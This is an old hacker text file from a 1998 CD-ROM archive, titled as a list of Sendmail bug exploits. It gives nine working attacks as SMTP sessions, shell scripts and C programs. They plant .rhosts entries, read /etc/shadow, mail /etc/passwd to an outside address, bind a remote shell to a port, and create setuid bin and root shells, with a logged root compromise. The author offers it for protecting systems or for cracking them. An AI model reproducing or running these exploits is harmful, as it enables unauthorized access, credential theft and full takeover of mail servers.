home *** CD-ROM | disk | FTP | other *** search
/ The Hacker's Encyclopedia 1998 / hackers_encyclopedia.iso / hacking / unix / sendmail.txt < prev    next >
Encoding:
Text File  |  2003-06-11  |  18.4 KB  |  732 lines

  1.  
  2.                         
  3.                          S e n d m a i l - B u g
  4.                         
  5.                              E x p l o i t s
  6.                                    List
  7.                                   v.04b
  8. -Per1com/Xer0                                
  9.  
  10. <By Postmaster@hacknet.demon.co.uk>
  11.  
  12. Introduction and Legal Ramble
  13. -----------------------------
  14.  
  15. This is written for anyone that's interested in learning about the
  16. many Security holes that are resident in many versions of Sendmail.
  17. I do not care if you use it to protect your system against others,
  18. or crack other ppls systems...just don't involve me in it.
  19.  
  20. I wrote it to collate all the information on sendmail into one list
  21. for convience and perhaps it will help some people.
  22.  
  23. This paper is non-(c) 1995, I do not object, to you including
  24. any of these in a Zine (others have), FAQ, printed magazine, 
  25. book etc... just be courteous and mail me first so I known 
  26. where it's distributed *:^) (I like to keep track out it)
  27.  
  28. Have you spotted a mistake or anything I could add? Then just add your
  29. own stuff and put yourself down on the credits and mail it me :)
  30.  
  31. This is a beta document still.
  32.  
  33. OH, all I ask is tell me what versions these work on, and if you
  34. have other exploits then mail me them :) !
  35.  
  36. Thanks/Greetz to Lineman and Syko for mailing me some stuff!
  37.  
  38.  
  39. CONTENTS
  40.  
  41. Bug 1: uudecode problem, tested on Sendmail 5.64
  42. Bug 2: Tail creates a daemon shell, tested on 5.65
  43. Bug 3: Bounce allows anyone to read /etc/shadow, tested on 8.6.7
  44. Bug 4: Issue a request twice and write to an .rhosts, works on 5.x ?
  45. Bug 5: Execute commands and grab passwd, Sendmail 5.55
  46. Bug 6: Execute commands remotely, Sendmail 4.1
  47. Bug 7: Shows how to gain a bin owned shell, tested on Sendmail 8.6.9 
  48. Bug 8: Read a file that you just executed, Sendmail 8.6.x
  49. Bug 9: Shows how to gain a root shell via Sendmail 8.6.4
  50.  
  51. -----
  52. BUG 1
  53. -----
  54.  
  55. Problem: /etc/aliases sometimes contains: decode: |/usr/bin/uudecode
  56. Just comment it out.
  57.  
  58. % cat > outfile                  # Lets make our .rhosts file
  59. + +
  60. ^C
  61. % uuencode outfile /usr/bin/.rhosts        
  62. begin 644 /usr/bin/.rhosts           
  63. $*R`K"@``
  64. `
  65. end
  66. % telnet 127.1 25            
  67. Trying 127.0.0.1...
  68. Connected to 127.1.
  69. Escape character is '^]'.
  70. 220 fred Sendmail 5.64/zippy-1.22.01 ready at Mon, 24 Jul 95 09:34:12 
  71. -0400 (GMT)
  72. helo                                    
  73. 250 fred Hello  (localhost), pleased to meet you     # Howz it hangin?
  74. mail from: bin                     
  75. 250 bin... Sender ok               
  76. rcpt to: decode                         
  77. 250 decode... Recipient ok              
  78. data
  79. 354 Enter mail, end with "." on a line by itself
  80. begin 644 /usr/bin/.rhosts  # just type our uuencoded + +
  81. $*R`K"@``
  82. `                                       
  83. end
  84. .
  85. 250 Ok                              
  86. quit
  87. 221 fred closing connection
  88. Connection closed by foreign host.
  89. % ls -al /usr/bin/.rhosts
  90. -rw-r--r--  1 bin        4 Jul 24 09:34 .rhosts
  91.  
  92. This is the same as:
  93.  
  94. % echo "myhost.com" | uuencode /usr/bin/.rhosts | mail decode@target.com
  95.  
  96. -----
  97. BUG 2
  98. -----
  99.  
  100. [From CSC FAQ, credit to J. Rawlinson]
  101.  
  102. ---cut here
  103. [panix!jhawk] |% telnet panix.com 25
  104. Trying 198.7.0.2 ...
  105. Connected to panix.com.
  106. Escape character is '^]'.
  107. 220 panix.com 5.65c/IDA-1.4.4 Sendmail is ready at Mon, 8 Nov 1993 19:41:13
  108. -0500
  109. HELO
  110. 250 Hello panix.com, why do you call yourself ?
  111. MAIL FROM: |/usr/ucb/tail|/usr/bin/sh
  112. 250 |/usr/ucb/tail|/usr/bin/sh... Sender ok
  113. RCPT TO: root
  114. 250 root... Recipient ok
  115. DATA
  116. 354 Enter mail, end with @.@ on a line by itself
  117.  From: jhawk"panix.com (John Hawkinson)
  118.   To: jhawk"panix.com (John Hawkinson)
  119.   Return-Receipt-To: |foobar
  120.   Subject: This is a large hole in the ground.
  121.   X-Disclaimer: We take no responsibility for what might happen
  122.  
  123.  
  124.   Hi there. Wanna play ball?
  125.  
  126.  
  127.  
  128.  
  129.  
  130.   #!/bin/sh
  131.   #The above line is just in case :-)
  132.   echo This is a Serious Bug > /tmp/bug
  133.   echo id reports: >> /tmp/bug
  134.   /usr/bin/id >> /tmp/bug
  135.   echo Fixing this would be good >> /tmp/bug
  136.   cp /bin/sh /tmp/bugshell
  137.   chmod u+s /tmp/bugshell
  138.   echo /tmp/bugshell contains a setuid daemon shell >> /tmp/bug
  139.   chmod ugo+rx /tmp/bugshell
  140. .
  141. 250 Ok
  142. quit
  143. 221 panix.com closing connection
  144.  
  145.  
  146. -----
  147. BUG 3
  148. -----
  149.  
  150. Version affected: 8.6.7
  151.  
  152. A bug in Sendmail 8.6.7 allows anyone to read any file,
  153. including the shadowed password file:
  154.  
  155. /usr/lib/sendmail -oE/etc/shadow bounce
  156. From: your_username
  157.  
  158. -----
  159. BUG 4
  160. -----
  161.  
  162. Sendmail: 5.x
  163.  
  164. You can have your host appened to someones .rhosts file,by issuing 
  165. the request twice in this example it's myhost.com:
  166.  
  167.  % cat sendmail_haq
  168.  telnet target.com 25 << EOSM
  169.  rcpt to: /home/students/twit/.rhosts
  170.  mail from: twit
  171.  data
  172.  hello :) dewd
  173.  .
  174.  rcpt to: /home/students/twit/.rhosts
  175.  mail from: twit
  176.  data
  177.  myhost.com
  178.  .
  179.  quit
  180.  EOSM
  181.  
  182.  evil % /bin/sh sendmail_haq
  183.  Trying 123.456.789.0
  184.  Connected to target.com
  185.  Escape character is '^]'.
  186.  Connection closed by foreign host.
  187.  
  188.  % rlogin target.com -l twit
  189.  % 
  190.  
  191. -----
  192. BUG 5
  193. -----
  194.  
  195. Sendmail: 5.55
  196.  
  197. Some versions allow us to execute commands; often leading to
  198. interesting effects like password file grabbing:
  199.  
  200.  % telnet target.com 25
  201.  Trying 123.456.789.0...
  202.  Connected to target.com
  203.  Escape character is '^]'.
  204.  220 target.com Sendmail 5.55 ready at Mon, 12 Dec 93 23:51
  205.  mail from: "|/bin/mail me@myhost.com < /etc/passwd"
  206.  250 "|/bin/mail me@myhost.com < /etc/passwd"... Sender ok
  207.  rcpt to: mickeymouse
  208.  550 mickeymouse... User unknown
  209.  data
  210.  354 Enter mail, end with "." on a line by itself
  211.  .
  212.  250 Mail accepted
  213.  quit
  214.  Connection closed by foreign host.
  215.  %
  216.  
  217. -----
  218. Bug 6
  219. -----
  220.  
  221. Sendmail: 4.1
  222.  
  223. By Lineman
  224.  
  225. It allows remote access as bin...and since bin owns the /etc dir you
  226. can gain root.
  227.  
  228. Rsend needs mconnect, which is a binary, which just connects to the place 
  229. and sends the data.  You can get rid the of ()'s at the beginninga and end 
  230. of the script, and get rid of the mconnect line, and run like ./rsend > 
  231. file, then ascii U/L the file to port 25...If it says a lot of stuff like 
  232. "Command Ununown" 25 times, then it didn't work.
  233.  
  234. Here's rsend:
  235.  
  236. #!/bin/sh
  237. # Copyright, 1992, 1993 by Scott Chasin (chasin@crimelab.com)
  238. #
  239. # This material is copyrighted by Scott Chasin, 1992, 1993. The
  240. # usual standard disclaimer applies, especially the fact that the
  241. # author is not liable for any damages caused by direct or indirect
  242. # use of the information or functionality provided by this program.
  243. #
  244. # Description:
  245. #
  246. # Exploit NEW sendmail hole  and bind a port so we can spawn a program.
  247. # Not for distribution under any circumstances
  248. #
  249. # Usage: smail <hostname> <target-user-name> <target-port> <shell command>
  250. # default: smail <localhost> <daemon> <7001> </bin/sh>
  251.  
  252. port=$3
  253. user=$2
  254. cmd=$4
  255.  
  256. if [ -z "$2" ]; then
  257.    user=daemon
  258. fi
  259.  
  260. if [ -z "$3" ]; then
  261.    port=7002
  262. fi
  263.  
  264. if [ -z "$4" ]; then
  265.    cmd="/bin/csh -i"
  266. fi
  267.  
  268. (
  269. sleep 4
  270. echo "helo"
  271. echo "mail from: |"
  272. echo "rcpt to: bounce"
  273. echo "data"
  274. echo "."
  275. sleep 3
  276. echo "mail from: $user"
  277. echo "rcpt to: | sed '1,/^$/d' | sh"
  278. echo "data"
  279. echo "cat > /tmp/a.c <<EOF"
  280. cat <<  EOF
  281. #include <sys/types.h>
  282. #include <sys/signal.h>
  283. #include <sys/socket.h>
  284. #include <netinet/in.h>
  285. #include <netdb.h>
  286. reap(){int s;while(wait(&s)!=-1);}main(ac,av)int ac;
  287. int **av;{struct sockaddr_in mya;struct servent *sp
  288. ;fd_set muf;int myfd,new,x,maxfd=getdtablesize();
  289. signal(SIGCLD,reap);if((myfd=socket(AF_INET,SOCK_STREAM,
  290. 0))<0)exit(1);mya.sin_family=AF_INET;bzero(&mya.sin_addr,
  291. sizeof(mya.sin_addr));if((sp=getservbyname(av[1],"tcp"))
  292. ==(struct servent *)0){if(atoi(av[1])<=0)exit(1);mya.sin_port
  293. =htons(atoi(av[1]));}else mya.sin_port=sp->s_port;if(bind(myfd,
  294. (struct sockaddr *)&mya,sizeof(mya)))exit(1);if(listen(myfd,
  295. 1)<0)exit(1);loop: FD_ZERO(&muf);FD_SET(myfd,&muf);if
  296. (select(myfd+1,&muf,0,0,0)!=1||!FD_ISSET(myfd,&muf))goto
  297. loop;if((new=accept(myfd,0,0))<0)goto loop;if(fork()
  298. ==0){for(x=2;x<maxfd;x++)if(x!=new)close(x);for(x=0;x<
  299. NSIG;x++)signal(x,SIG_DFL);dup2(new,0);close(new);dup2
  300. (0,1);dup2(0,2);execv(av[2],av+2);exit(1);}close(new);
  301. goto loop;}                                          
  302. EOF
  303. echo "EOF"
  304. echo "cd /tmp"
  305. echo "/bin/cc /tmp/a.c"
  306. echo "/bin/rm a.c"
  307. echo "/tmp/a.out $port $cmd"
  308. echo "."
  309. echo "quit"
  310. ) | mconnect $1
  311.  
  312. Or you can also ul this to port 25.  
  313. BTW, it gets you in by running a program that listens to port 7008...
  314. you telnet to port 7008. You can then proceed to create new users in 
  315. /etc/passwd because you own the /etc dir...you need to type a ; after every 
  316. command, and it gives you 1 error every command...ignore it. The process
  317. may be noticed by a few admins.
  318.  
  319. helo
  320. mail from: |
  321. rcpt to: bounce
  322. data
  323. .
  324. mail from: bin
  325. rcpt to: | sed '1,/^$/d' | sh
  326. data
  327. cat > /tmp/a.c <<EOF
  328. #include <sys/types.h>
  329. #include <sys/signal.h>
  330. #include <sys/socket.h>
  331. #include <netinet/in.h>
  332. #include <netdb.h>
  333. reap(){int s;while(wait(&s)!=-1);}main(ac,av)int ac;
  334. int **av;{struct sockaddr_in mya;struct servent *sp
  335. ;fd_set muf;int myfd,new,x,maxfd=getdtablesize();
  336. signal(SIGCLD,reap);if((myfd=socket(AF_INET,SOCK_STREAM,
  337. 0))<0)exit(1);mya.sin_family=AF_INET;bzero(&mya.sin_addr,
  338. sizeof(mya.sin_addr));if((sp=getservbyname(av[1],"tcp"))
  339. ==(struct servent *)0){if(atoi(av[1])<=0)exit(1);mya.sin_port
  340. =htons(atoi(av[1]));}else mya.sin_port=sp->s_port;if(bind(myfd,
  341. (struct sockaddr *)&mya,sizeof(mya)))exit(1);if(listen(myfd,
  342. 1)<0)exit(1);loop: FD_ZERO(&muf);FD_SET(myfd,&muf);if
  343. (select(myfd+1,&muf,0,0,0)!=1||!FD_ISSET(myfd,&muf))goto
  344. loop;if((new=accept(myfd,0,0))<0)goto loop;if(fork()
  345. ==0){for(x=2;x<maxfd;x++)if(x!=new)close(x);for(x=0;x<
  346. NSIG;x++)signal(x,SIG_DFL);dup2(new,0);close(new);dup2
  347. (0,1);dup2(0,2);execv(av[2],av+2);exit(1);}close(new);
  348. goto loop;}                                          
  349. EOF
  350. cd /tmp
  351. /bin/cc /tmp/a.c
  352. /bin/rm a.c
  353. /tmp/a.out 7008 /bin/sh
  354. .
  355. quit
  356.  
  357. -----
  358. Bug 7
  359. -----
  360.  
  361. Sendmail: 8.6.9, has this been fixed in 8.6.12 I expect so?
  362.  
  363. /* smh.c - Michael R. Widner - atreus (2/27/95)
  364.  * <widner@uchicago.edu> <atreus@primus.com>
  365.  * a quick hack to abuse sendmail 8.6.9 or whatever else is subject to this
  366.  * hole.  It's really just a matter of passing newlines in arguments to
  367.  * sendmail and getting the stuff into the queue files.  If we run this
  368.  * locally with -odq we are guaranteed that it will be queue, rather than
  369.  * processed immediately.  Wait for the queue to get processed automatically
  370.  * or just run sendmail -q if you're impatient.
  371.  
  372.  * usage: smh [ username [/path/to/sendmail]]
  373.  
  374.  * It's worth noting that this is generally only good for getting bin.
  375.  * sendmail still wants to process the sendmail.cf file, which contains
  376.  * Ou1 and Og1 most of the time, limiting you to bin access.  Is there
  377.  * a way around this?
  378.  
  379.  * cc -o smh smh.c should do the trick.  This just creates a bin owned
  380.  * mode 6777 copy of /bin/sh in /tmp called /tmp/newsh.  Note that on some
  381.  * systems this is pretty much worthless, but you're smart enough to know
  382.  * which systems those are.  Aren't you?
  383.  */
  384.  
  385. #include <sys/types.h>
  386. #include <unistd.h>
  387. #include <stdlib.h>
  388.  
  389. main(argc, argv)
  390. int argc;
  391. char **argv;
  392. {
  393.         execlp(argv[2] ? argv[2] : "sendmail","sendmail","-odq","-p",
  394.         "ascii\nCroot\nMprog, P=/bin/sh, F=lsDFMeu, A=sh -c $u\nMlocal, P=/bin/sh, F=lsDFMeu,
  395. A=sh -c $u\nR<\"|/bin/cp /bin/sh /tmp/newsh\">\nR<\"|/bin/chmod 6777 /tmp/newsh\">\n$rascii ",
  396.         argv[1] ? argv[1] : "atreus",0);
  397. }
  398.  
  399. -----
  400. Bug 8
  401. -----
  402.  
  403. Version: 8.6.?
  404.  
  405. To read a file you ran:
  406.  
  407. /usr/lib/sendmail -C/home/path/of/file
  408.  
  409. ------
  410. Bug 9
  411. ------
  412.  
  413. Sendmail: 8.6.4
  414.  
  415. /* What follows is a sample run exercising the latest sendmail hole and the
  416. script used to exploit this hole.  This is a re-send; I neglected
  417. to escape the "." in the sendmail script, leaving the program
  418. slightly truncated.  To fix this, I have escaped the . so prior
  419. to executing this you must remove the \.  (does that make any sense? :-)
  420. There was also a small problem with nested quotes pointed out by Peter
  421. Wemm which I have fixed.
  422.  
  423. This is the "small version" of the script; it assumes you have a sane
  424. sendmail.cf.  In this manner, it is not a particularly robust "breakin
  425. script" but I believe it does illustrate how to exploit the bug.
  426.  
  427. This program uses "calc.c," the program mentioned by Timothy Newsham in
  428. an earlier message.  The program has been modified slightly so that it
  429. gives better results (it would occasionally fail to locate the offset of
  430. a config given a buggy sendmail.  The fix is to force a sync() after
  431. it generates a coredump.)  The remainder of the program was written
  432. by myself and a fellow student, Steven Dake.
  433.  
  434. We have held off on releasing this script until we were able to notify
  435. the people responsible for system security at NAU.  Locals subscribing
  436. to this digest beware; sendmail on our machines has been patched! :-) */
  437.  
  438. Script started on Thu Mar 24 00:54:54 1994
  439. [pine] [1] date
  440. Thu Mar 24 00:54:57 MST 1994
  441. [pine] [2] whoami
  442. jwa
  443. [pine] [3] id
  444. uid=4473(jwa) gid=400(student)
  445. [pine] [4] ls -l sendbug.sh
  446. -rwx------   1 jwa      student     4893 Mar 24 00:46 sendbug.sh*
  447. [pine] [5] sendbug.sh
  448. Creating setid0 ...
  449. Creating calc...
  450. Scanning core image for /nau/local/lib/mail/sendmail.cf...
  451. Creating alias.sh ...
  452. Creating fake alias file...
  453. Faking alias pointer in new config file...
  454. Creating the sendmail script...
  455. Executing /usr/lib/sendmail -
  456. d4294935548.47,4294935549.116,4294935550.109,4294935551.112,4294935552.47,4294935553.115,429
  457. 4935554.109,4294935555.46,4294935556.9
  458. Version 8.6.4
  459. 220-pine.cse.nau.edu Sendmail 8.6.4/WHOOP-v1.0 ready at Thu, 24 Mar 1994 00:55:21 -0700
  460. 220 ESMTP spoken here
  461. 250 pine.cse.nau.edu Hello jwa@localhost, pleased to meet you
  462. 250 <nobody>... Sender ok
  463. 250 <yash>... Recipient ok
  464. 354 Enter mail, end with "." on a line by itself
  465. 250 AAA01803 Message accepted for delivery
  466. 503 Need MAIL before RCPT
  467. 503 Need MAIL command
  468. 500 Command unrecognized
  469. 500 Command unrecognized
  470. 221 pine.cse.nau.edu closing connection
  471. setid0 is a suid shell.  executing...
  472. executing /bin/csh...
  473. pine# whoami
  474. root
  475. pine# id
  476. uid=0(root) gid=0(root)
  477. pine# exit
  478. pine# end of script.
  479.  
  480. . and here's the program.
  481.  
  482. #!/bin/sh
  483. # exploit new sendmail bug to give us a root shell
  484. # 24 mar 94  jwa/scd @nau.edu
  485. # "short version"
  486. # tested on sunos 5.2/sendmail 8.6.4
  487.  
  488. # location of sendmail
  489. SENDMAIL=/usr/lib/sendmail
  490.  
  491. # location of original sendmail.cf file
  492. CONFIG=/nau/local/lib/mail/sendmail.cf
  493. #CONFIG=`strings $SENDMAIL | grep sendmail.cf`
  494.  
  495. # program to execute as root
  496. SHELL=/bin/csh
  497.  
  498. TEMPDIR=/tmp/sendbug-tmp.$$
  499. mkdir $TEMPDIR
  500. chmod 700 $TEMPDIR
  501. cd $TEMPDIR
  502.  
  503. cp $SENDMAIL sm
  504. chmod 700 sm
  505.  
  506. echo "Creating setid0 ..."
  507. cat > setid.c << _EOF_
  508.  
  509. /* set uid to zero, thus escaping the annoying csh and solaris sh
  510.  * problem..
  511.  *
  512.  * if (getuid() != geteuid()) {
  513.  *  printf("permission denied, you root-hacker you.\n");
  514.  *  exit(1);
  515.  * }
  516.  *
  517.  * .. must be run euid 0, obviously.  with no args it runs /bin/sh,
  518.  * otherwise it runs the 1st arg.
  519.  */
  520.  
  521. #include <stdio.h>
  522.  
  523. main(argc, argv)
  524. int argc;
  525. char *argv[];
  526.  
  527.  int uid;
  528.  
  529.  setuid(0);
  530.  setgid(0);
  531.  seteuid(0);  /* probabally redundant. */
  532.  setegid(0);
  533.  
  534.  uid = getuid();
  535.  
  536.  if (uid != 0) {
  537.   printf("setuid(0); failed!  aborting..\n");
  538.   exit(1);
  539.  }
  540.  
  541.  if (argc !=2) {
  542.   printf("executing /bin/sh...\n");
  543.   system("/bin/sh");
  544.  }
  545.   else
  546.  {
  547.   printf("executing %s...\n", argv[1]);
  548.   system(argv[1]);
  549.  }
  550.  
  551. _EOF_
  552.  
  553. cc -o setid0 setid.c
  554.  
  555. echo "Creating calc..."
  556.  
  557. cat > calc.c << _EOF_
  558. /*
  559.  * Determines offset in sendmail of
  560.  * sendmail.cf file location.
  561.  * author: timothy newsham
  562.  */
  563. #include <fcntl.h>
  564.  
  565. gencore()
  566.  
  567.   int pid;
  568.   int fd[2];
  569.  
  570.   if(pipe(fd) < 0) {
  571.     perror("pipe");
  572.     exit(1);
  573.     return(0);
  574.   }
  575.   pid = fork();
  576.   if(!pid) {
  577.     int f = open("./out", O_RDWR|O_CREAT, 0666);
  578.     dup2(f, 1); dup2(fd[0], 0);
  579.     close(f); close(fd[1]); close(fd[0]);
  580.     execl("./sm","sm","-d0-9.90","-oQ.","-bs", 0);
  581.     perror("exec");
  582.     exit(0);
  583.   } else {
  584.     sleep(2);
  585.     kill(pid, 11);
  586.   }
  587.   close(fd[0]);
  588.   close(fd[1]);
  589.  
  590.  
  591. main(argc,argv)
  592. char **argv;
  593. int argc;
  594.  
  595.   unsigned int ConfFile,tTdvect,off;
  596.  
  597.   gencore();
  598.   sync();   /* grr. */
  599.   tTdvect = find("ZZZZZZZZ", "core");
  600.   ConfFile = find(argv[1], "core");
  601.   if(!tTdvect || !ConfFile) {
  602.    return(1);
  603.   }
  604.   off = ConfFile - tTdvect;
  605.  
  606.   printf("-d%u.%d,%u.%d,%u.%d,%u.%d,%u.%d,%u.%d,%u.%d,%u.%d,%u.%d,%u.%d,%u.0\n",
  607.   off, '/', off+1, 't', off+2, 'm', off+3, 'p', off+4, '/', off+5, 's', \
  608.   off+6, 'm', off+7, '.', off+8, 'c', off+9, 'f', off+10);
  609.  
  610.  
  611. int find(pattern, file)
  612. char *pattern,*file;
  613.  
  614.   int fd;
  615.   int i, addr;
  616.   char c;
  617.  
  618.   fd = open(file, 0);
  619.  
  620.   i = 0;
  621.   addr = 0;
  622.   while(read(fd, &c, 1) == 1) {
  623.     if(pattern[i] == c)
  624.       i++;
  625.     else
  626.       i=0;
  627.     if(pattern[i] == '\0') {
  628.       addr -= strlen(pattern);
  629.       return(addr);
  630.     }
  631.     addr++;
  632.   }
  633.   return(0);
  634.  
  635. _EOF_
  636. cc calc.c -o calc
  637.  
  638. echo "Scanning core image for $CONFIG..."
  639.  
  640. DEBUGFLAGS=`calc $CONFIG`
  641.  
  642. echo "Creating alias.sh ..."
  643. echo "#!/bin/sh
  644. # this program will be executed when mail is sent to the fake alias.
  645. # since solaris sh and csh and tcsh refuse to run when euid != realuid,
  646. # we instead run the program we compiled above.
  647.  
  648. /bin/chmod 6777 $TEMPDIR/setid0
  649. /bin/chown root $TEMPDIR/setid0
  650. /bin/sync
  651.  
  652. " > alias.sh
  653.  
  654. chmod 755 alias.sh
  655.  
  656. echo "Creating fake alias file..."
  657. echo "yash: |$TEMPDIR/alias.sh" > aliases
  658.  
  659. echo "Faking alias pointer in new config file..."
  660. egrep -v '(OA|DZ|Ou|Og)' $CONFIG > /tmp/sm.cf
  661. echo "
  662. # hacks follow
  663.  
  664. OA/$TEMPDIR/aliases                     # our fake alias file
  665. Ou0                                     # user ID to run as
  666. Og0                                     # group ID to run as
  667. DZWHOOP-v1.0" >> /tmp/sm.cf
  668.  
  669. echo "Creating the sendmail script..."
  670.  
  671. cat > sendmail.script << _EOF_
  672. helo
  673. mail from: <nobody>
  674. rcpt to: <yash>
  675. data
  676. yet another sendmail hole?  suid whoop?
  677. \.                                      # oops.. delete \ prior to execution
  678. quit
  679. _EOF_
  680.  
  681. echo "Executing $SENDMAIL $DEBUGFLAGS -bs..."
  682.  
  683. $SENDMAIL $DEBUGFLAGS -bs < sendmail.script
  684.  
  685. # give it time to execute.
  686. sleep 4
  687.  
  688. # cleanup in 5 seconds
  689. (sleep 5; rm -rf $TEMPDIR ; rm /tmp/sm.cf) &
  690.  
  691. if [ -u setid0 ]
  692. then
  693.  echo "setid0 is a suid shell.  executing..."
  694.  cd /
  695.  $TEMPDIR/setid0 /bin/csh
  696.  echo "end of script."
  697.  exit 0
  698. else
  699.  echo "setid0 is not suid; script failed."
  700.  echo "apparently, you don't have the bug.  celebrate :-)"
  701.  exit 1
  702. fi
  703.  
  704.  
  705. --
  706. You can get the new version of sendmail from:
  707. ftp.cs.berkeley.edu in /ucb/sendmail
  708.  
  709.  
  710. More coming soon.... remember to mail any other exploits that
  711. may be of interest.
  712.  
  713. Oh, yes you might want to check these books: 
  714.  
  715. Very good, highly recommended, all round security book:   
  716. General History of Hacking, Phone Phreakers, Security on UNIX & VMS
  717. * Computer Hacking: Detection & Protection *, By Sigma Press 1995,
  718. ISBN: 1-85058-538-5
  719.  
  720. A Very Good UNIX Security book another; another highly recommended book:
  721. * Practical Unix Security *, O'Reilly & Assc., 
  722. ISBN: 0-937175-72-2
  723.  
  724. * TCP Illustarted Volumes I&II *,
  725. By W. Richard Stevens,
  726. Addison Wesley
  727. ISBN: ?
  728.  
  729. - [By Per1com/Xer0]
  730.  
  731.  
  732.